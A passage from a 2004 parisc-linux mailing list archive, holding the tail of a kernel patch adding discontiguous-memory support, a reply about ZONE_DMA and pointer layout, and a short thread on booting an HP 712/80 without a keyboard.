-	+ ((paddr) >> PAGE_SHIFT))
-
-#define virt_to_page(kvaddr) phys_to_page(__pa(kvaddr))
-
-/* This is kind of bogus, need to investigate performance of doing it right */
-#define VALID_PAGE(page)	((page - mem_map) < max_mapnr)
 
-#endif /* !_PARISC_MMZONE_H */
+/*
+ * Given a kernel address, find the home node of the underlying memory.
+ */
+#define kvaddr_to_nid(kaddr)	pfn_to_nid(__pa(kaddr) >> PAGE_SHIFT)
+
+#define node_mem_map(nid)	(NODE_DATA(nid)->node_mem_map)
+#define node_start_pfn(nid)	(NODE_DATA(nid)->node_start_pfn)
+#define node_end_pfn(nid)						\
+({									\
+	pg_data_t *__pgdat = NODE_DATA(nid);				\
+	__pgdat->node_start_pfn + __pgdat->node_spanned_pages;		\
+})
+#define node_localnr(pfn, nid)		((pfn) - node_start_pfn(nid))
+
+#define local_mapnr(kvaddr)						\
+({									\
+	unsigned long __pfn = __pa(kvaddr) >> PAGE_SHIFT;		\
+	(__pfn - node_start_pfn(pfn_to_nid(__pfn)));			\
+})
+
+#define pfn_to_page(pfn)						\
+({									\
+	unsigned long __pfn = (pfn);					\
+	int __node  = pfn_to_nid(__pfn);				\
+	&node_mem_map(__node)[node_localnr(__pfn,__node)];		\
+})
+
+#define page_to_pfn(pg)							\
+({									\
+	struct page *__page = pg;					\
+	struct zone *__zone = page_zone(__page);			\
+	BUG_ON(__zone == NULL);						\
+	(unsigned long)(__page - __zone->zone_mem_map)			\
+		+ __zone->zone_start_pfn;				\
+})
+
+/* We have these possible memory map layouts:
+ * Astro: 0-3.75, 67.75-68, 4-64
+ * zx1: 0-1, 257-260, 4-256
+ * Stretch (N-class): 0-2, 4-32, 34-xxx
+ */
+
+/* Since each 1GB can only belong to one region (node), we can create
+ * an index table for pfn to nid lookup; each entry in pfnnid_map 
+ * represents 1GB, and contains the node that the memory belongs to. */
+
+#define PFNNID_SHIFT (30 - PAGE_SHIFT)
+extern unsigned char pfnnid_map[];
+
+static inline int pfn_to_nid(unsigned long pfn)
+{
+	unsigned int i;
+    unsigned char r;
+    i = pfn >> PFNNID_SHIFT;
+    r = pfnnid_map[i];
+    BUG_ON(r == 0xff);
+
+    return (int)r;
+}
+
+static inline int pfn_valid(int pfn)
+{
+	int nid = pfn_to_nid(pfn);
+
+	if (nid >= 0)
+		return (pfn < node_end_pfn(nid));
+	return 0;
+}
+
+#else /* !CONFIG_DISCONTIGMEM */
+#define MAX_PHYSMEM_RANGES 	1 
+#endif
+#endif /* _PARISC_MMZONE_H */
Index: include/asm-parisc/page.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/page.h,v
retrieving revision 1.9
diff -u -p -r1.9 page.h
--- include/asm-parisc/page.h	5 May 2004 23:02:47 -0000	1.9
+++ include/asm-parisc/page.h	3 Jul 2004 06:55:49 -0000
@@ -83,12 +83,6 @@ extern __inline__ int get_order(unsigned
 	return order;
 }
 
-#ifdef __LP64__
-#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
-#else
-#define MAX_PHYSMEM_RANGES 1 /* First range is only range that fits in 32 bits */
-#endif
-
 typedef struct __physmem_range {
 	unsigned long start_pfn;
 	unsigned long pages;       /* PAGE_SIZE pages */
@@ -144,15 +138,16 @@ extern int npmem_ranges;
 #define __pa(x)			((unsigned long)(x)-PAGE_OFFSET)
 #define __va(x)			((void *)((unsigned long)(x)+PAGE_OFFSET))
 
+#ifndef CONFIG_DISCONTIGMEM
 #define pfn_to_page(pfn)	(mem_map + (pfn))
 #define page_to_pfn(page)	((unsigned long)((page) - mem_map))
 #define pfn_valid(pfn)		((pfn) < max_mapnr)
+#endif /* CONFIG_DISCONTIGMEM */
+
 #define virt_addr_valid(kaddr)	pfn_valid(__pa(kaddr) >> PAGE_SHIFT)
 
-#ifndef CONFIG_DISCONTIGMEM
-#define virt_to_page(kaddr)     (mem_map + (__pa(kaddr) >> PAGE_SHIFT))
-#define VALID_PAGE(page)	((page - mem_map) < max_mapnr)
-#endif  /* !CONFIG_DISCONTIGMEM */
+#define page_to_phys(page)	(page_to_pfn(page) << PAGE_SHIFT)
+#define virt_to_page(kaddr)     pfn_to_page(__pa(kaddr) >> PAGE_SHIFT)
 
 #define VM_DATA_DEFAULT_FLAGS	(VM_READ | VM_WRITE | VM_EXEC | \
 				 VM_MAYREAD | VM_MAYWRITE | VM_MAYEXEC)
Index: include/asm-parisc/pgtable.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/pgtable.h,v
retrieving revision 1.13
diff -u -p -r1.13 pgtable.h
--- include/asm-parisc/pgtable.h	1 Jul 2004 20:24:38 -0000	1.13
+++ include/asm-parisc/pgtable.h	3 Jul 2004 06:55:49 -0000
@@ -353,11 +353,7 @@ extern inline pte_t pte_modify(pte_t pte
 
 #define pte_pfn(x) (pte_val(x) >> PAGE_SHIFT)
 
-#ifdef CONFIG_DISCONTIGMEM
-#define pte_page(x) (phys_to_page(pte_val(x)))
-#else
-#define pte_page(x) (mem_map+(pte_val(x) >> PAGE_SHIFT))
-#endif
+#define pte_page(pte)		(pfn_to_page(pte_pfn(pte)))
 
 #define pmd_page_kernel(pmd)	((unsigned long) __va(pmd_val(pmd) & PAGE_MASK))
 
--- include/asm-parisc/numnodes.h	Sat Jul  3 00:55:49 2004
+++ include/asm-parisc/numnodes.h	Sat Jul  3 00:55:49 2004
@@ -0,0 +1,9 @@
+#ifndef _ASM_MAX_NUMNODES_H
+#define _ASM_MAX_NUMNODES_H
+
+#include <linux/config.h>
+
+/* Max 8 Nodes */
+#define NODES_SHIFT	3
+
+#endif /* _ASM_MAX_NUMNODES_H */
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CONFIG_DISCONTIGMEM, try 2
Date: 06 Jul 2004 13:02:33 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <1089136958.1767.534.camel@mulgrave>
References: <20040706071459.GA567@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623492 10102 80.91.229.3 (22 Nov 2014 02:31:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:32 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: Randolph Chung <randolph@tausq.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 29001 invoked by uid 65534); 6 Jul 2004 18:03:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx014) with SMTP; 06 Jul 2004 20:03:06 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0E8933BE10; Tue,  6 Jul 2004 12:03:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17594-04; Tue, 6 Jul 2004 12:03:03 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E27503BE03; Tue,  6 Jul 2004 12:02:46 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A656A3BDFB
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Jul 2004 12:02:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 17594-01 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 6 Jul 2004 12:02:42 -0600 (MDT)
Original-Received: from hancock.sc.steeleye.com (stat16.steeleye.com [209.192.50.48])
	by free.linux.hp.com (Postfix) with ESMTP id 89BA93BDFA
	for <parisc-linux@lists.parisc-linux.org>;
	Tue,  6 Jul 2004 12:02:41 -0600 (MDT)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id
	i66I2Yr10479; Tue, 6 Jul 2004 14:02:35 -0400
In-Reply-To: <20040706071459.GA567@tausq.org>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21783

On Tue, 2004-07-06 at 02:15, Randolph Chung wrote:
> Since we put all memory into ZONE_DMA, the comment is wrong -- ZONE_DMA
> memory can in fact be >4GB. So, either we partition the memory so that
> it adheres to the above constraint, otherwise we will need to redo the
> pgd/pmd layouts a bit. jejb: comments? :) (In fact this will be a
> problem without CONFIG_DISCONTIGMEM if we have a machine that 
> supported >4GB of contiguous memory)

Actually, no, we always planned to stop ZONE_DMA at 4GB for this reason
even if it has an IOMMU (this is a fairly standard risc trick, I
think).  What we're trying to do is to save space in the PGD/PMD pages
by using "short" pointers. if we know that PTE pages are allocated only
in the first 4GB of memory, then we can point to them with only 32 bits
(even on a 64 bit machine).

We could save space by shifting the pointers before dereferencing. 
Since the PTE/PMD pages are page aligned, we don't actually need the
lower 12 bits of the pointer.  Although we currently use those bits for
page flags, all we're really interested in are valid and present bits so
with a bit of shifting, we could make these short pointers address up to
42 bits, which is over the range of even the pa8800's physical memory
capabilities (40 bits).

James


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: CrazyCat <crazycat@c-p-f.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Booting 712/80 without keyboard
Date: Wed, 07 Jul 2004 15:05:58 +0200
Lines: 31
Approved: news@gmane.org
Message-ID: <40EBF536.8030207@c-p-f.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623492 10104 80.91.229.3 (22 Nov 2014 02:31:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:32 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 28972 invoked by uid 65534); 7 Jul 2004 13:06:25 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx054) with SMTP; 07 Jul 2004 15:06:25 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id EBF253BE07; Wed,  7 Jul 2004 07:06:01 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27110-03; Wed, 7 Jul 2004 07:06:00 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7970C3BE10; Wed,  7 Jul 2004 07:05:26 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5CEFC3BDFA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jul 2004 07:05:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27110-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Jul 2004 07:05:23 -0600 (MDT)
Original-Received: from da-horus.directannonces.com (directannonces.rain.fr
	[195.101.52.94])
	by free.linux.hp.com (Postfix) with ESMTP id B349A3BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jul 2004 07:05:22 -0600 (MDT)
Original-Received: from [192.168.192.101] ([192.168.192.101]) by
	da-horus.directannonces.com with Microsoft SMTPSVC(5.0.2195.6713); 
	Wed, 7 Jul 2004 15:05:58 +0200
User-Agent: Mozilla Thunderbird 0.7.1 (Windows/20040626)
X-Accept-Language: en-us, en
X-OriginalArrivalTime: 07 Jul 2004 13:05:58.0269 (UTC)
	FILETIME=[251FCAD0:01C46423]
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21784

Hi there,

I've found a way to simulate a keyboard on my 712/80, but not tested yet...
This is a dongle for PS/2:

1o [] o6
2o    o5
3o    o4
Connect 1 - 5 with wire link
Connect 4 - 6 with wire link
Connect 2 - 5 with 220R resistor and LED (cathode to 5)

Does anyone already make something like this? I don't want to crash my
engine...

And don't you know if this kind of dongle are selled somewhere (I prefer
when it's manufacturer than myself) ?

Thanks a lot
-- 
Tout sur les eggdrops
http://www.c-p-f.org
ML @ eggdrop_fr@yahoogroupes.fr


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@engsoc.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting 712/80 without keyboard
Date: Wed, 7 Jul 2004 09:17:43 -0400
Lines: 30
Approved: news@gmane.org
Message-ID: <20040707131743.GK16374@engsoc.org>
References: <40EBF536.8030207@c-p-f.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623493 10108 80.91.229.3 (22 Nov 2014 02:31:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: CrazyCat <crazycat@c-p-f.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 14255 invoked by uid 65534); 7 Jul 2004 13:21:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx037) with SMTP; 07 Jul 2004 15:21:31 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 106683BE19; Wed,  7 Jul 2004 07:21:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27198-06; Wed, 7 Jul 2004 07:21:23 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 9EC7A3BE10; Wed,  7 Jul 2004 07:21:12 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5138E3BDF2
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jul 2004 07:21:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27198-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Jul 2004 07:21:09 -0600 (MDT)
Original-Received: from stout.engsoc.org (stout.engsoc.carleton.ca [134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id E775B3BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jul 2004 07:21:08 -0600 (MDT)
Original-Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca
	[134.117.69.26])
	by stout.engsoc.org (8.12.3/8.12.3/Debian-6.6) with ESMTP id
	i67DLJUG004623; Wed, 7 Jul 2004 09:21:19 -0400
Original-Received: from kyle by lager.engsoc.carleton.ca with local (Exim 3.36 #1
	(Debian)) id 1BiCIx-0002ua-00; Wed, 07 Jul 2004 09:17:43 -0400
Content-Disposition: inline
In-Reply-To: <40EBF536.8030207@c-p-f.org>
User-Agent: Mutt/1.5.6+20040523i
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21785

On Wed, Jul 07, 2004 at 03:05:58PM +0200, CrazyCat wrote:
> Does anyone already make something like this? I don't want to crash my
> engine...
> 
> And don't you know if this kind of dongle are selled somewhere (I prefer
> when it's manufacturer than myself) ?
> 

You don't... actually... need to have something like this. 712 does let
you boot without keyboard, but it's not straight forward, and there's a
chance that if you bugger up the command, you will not be able to fix
it.

It involves booting into the HP-UX ISL, and changing the console path to
serial. If you no longer have an HP-UX ISL, you can find one here
http://cvs.parisc-linux.org/download/checkedout/build-tools/uxbootlf.

Directions can be found by googling for "hp 712 serial console" but
since there's a chance you'll fry your machine, I'll let you do that and
absolve myself of responsibility.

Regards,
-- 
Kyle McMartin
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Booting 712/80 without keyboard
Date: Wed, 07 Jul 2004 15:22:45 +0300
Lines: 14
Approved: news@gmane.org
Message-ID: <20040707132245.6ACF43658B5@mail.esiee.fr>
References: <40EBF536.8030207@c-p-f.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623493 10110 80.91.229.3 (22 Nov 2014 02:31:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:33 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: CrazyCat <crazycat@c-p-f.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 13426 invoked by uid 65534); 7 Jul 2004 13:23:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx016) with SMTP; 07 Jul 2004 15:23:04 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 230E03BE20; Wed,  7 Jul 2004 07:23:00 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27396-03; Wed, 7 Jul 2004 07:22:59 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 81F713BE1C; Wed,  7 Jul 2004 07:22:52 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 1E2C23BE07
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jul 2004 07:22:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 27198-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 7 Jul 2004 07:22:47 -0600 (MDT)
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by free.linux.hp.com (Postfix) with ESMTP id D16E73BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Wed,  7 Jul 2004 07:22:46 -0600 (MDT)
Original-Received: from localhost.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP id 94A633658B6;
	Wed,  7 Jul 2004 15:22:45 +0200 (CEST)
Original-Received: from mail.esiee.fr (localhost.esiee.fr [127.0.0.1])
	by localhost.esiee.fr (VaMailArmor-2.0.1.16) id 14999-22C57210;
	Wed, 07 Jul 2004 15:22:45 +0200
Original-Received: from esiee.fr (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with ESMTP id 6ACF43658B5;
	Wed,  7 Jul 2004 15:22:45 +0200 (CEST)
User-Agent: IMHO/0.99 (Webmail for Roxen)
X-Originating-IP: [159.50.101.8]
In-Reply-To: <40EBF536.8030207@c-p-f.org>
X-AntiVirus: checked by Vexira MailArmor (version: 2.0.1.16; VAE: 6.26.0.3;
	VDF: 6.26.0.17; host: mail.esiee.fr)
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21786

Re: "Booting 712/80 without keyboard":

http://www.pateam.org/parisc-linux-boot/PA-RISC-Linux-Boot-HOWTO/conso
les.html#AEN403

Thibaut VARENE
PA/Linux ESIEE Team
http://www.pateam.org/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:15 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CONFIG_DISCONTIGMEM, try 2
Date: Fri, 9 Jul 2004 01:03:41 -0700
Lines: 1060
Approved: news@gmane.org
Message-ID: <20040709080341.GG546@tausq.org>
References: <20040706071459.GA567@tausq.org>
	<1089136958.1767.534.camel@mulgrave>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623493 10116 80.91.229.3 (22 Nov 2014 02:31:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:33 +0000 (UTC)
Cc: PARISC list <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 17584 invoked by uid 65534); 9 Jul 2004 08:04:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 09 Jul 2004 10:04:23 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 915933BDF3; Fri,  9 Jul 2004 02:04:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15525-01; Fri, 9 Jul 2004 02:04:18 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7876E3BDD5; Fri,  9 Jul 2004 02:03:47 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id EE9643BDC9
	for <parisc-linux@lists.parisc-linux.org>;
